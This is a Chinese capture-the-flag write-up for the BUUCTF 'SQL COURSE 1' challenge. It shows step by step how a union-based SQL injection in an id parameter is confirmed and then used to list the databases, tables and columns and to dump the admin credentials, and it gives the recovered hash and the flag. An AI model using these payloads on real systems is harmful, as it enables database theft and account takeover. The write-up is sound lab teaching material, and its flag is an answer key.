BUU SQL COURSE 1 1(SQL注入)
BUU SQL COURSE 1 1(SQL注入)题解
·
题目链接
https://buuoj.cn/challenges#BUU%20SQL%20COURSE%201
思路
我们先看登录界面,然后试一下各种万能密码,发现并没有用

然后我们点开热点中的热点一,我们发现这里有一个php的请求,于是我们猜测是否这里会有sql注入,于是我们开始尝试

开始测试http://98b868b9-ddcf-4645-951c-274472fae642.node4.buuoj.cn:81/backend/content_detail.php?id=1%20and%201=1,发现还是正常的数据
http://98b868b9-ddcf-4645-951c-274472fae642.node4.buuoj.cn:81/backend/content_detail.php?id=1%20and%201=2
发现此时,数据就不回显了,那么很显然这里存在sql注入

通过order by 确定数据的条数,我们发现当order by 3 的时候,数据不在回显,而当数字小于等于 2 2 2 的时候会发生回显,于是数据确定为两列


接下来就是一个流程了,暴库、暴表、暴字段、爆密码
暴库:(information_schema,ctftraining,mysql,performance_schema,test,news)
?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata
暴表:(admin,contents)
?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema="news"
暴字段:(id,username,password)
?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name="admin"
暴密码:(983a3f6bc1f3709f9f8997f887ef9803)
?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin
于是我们找到了admin的密码:983a3f6bc1f3709f9f8997f887ef9803
登录账号即可获得flag
flag{614439de-3e96-45fc-bc67-10165bc60690}

更多推荐



所有评论(0)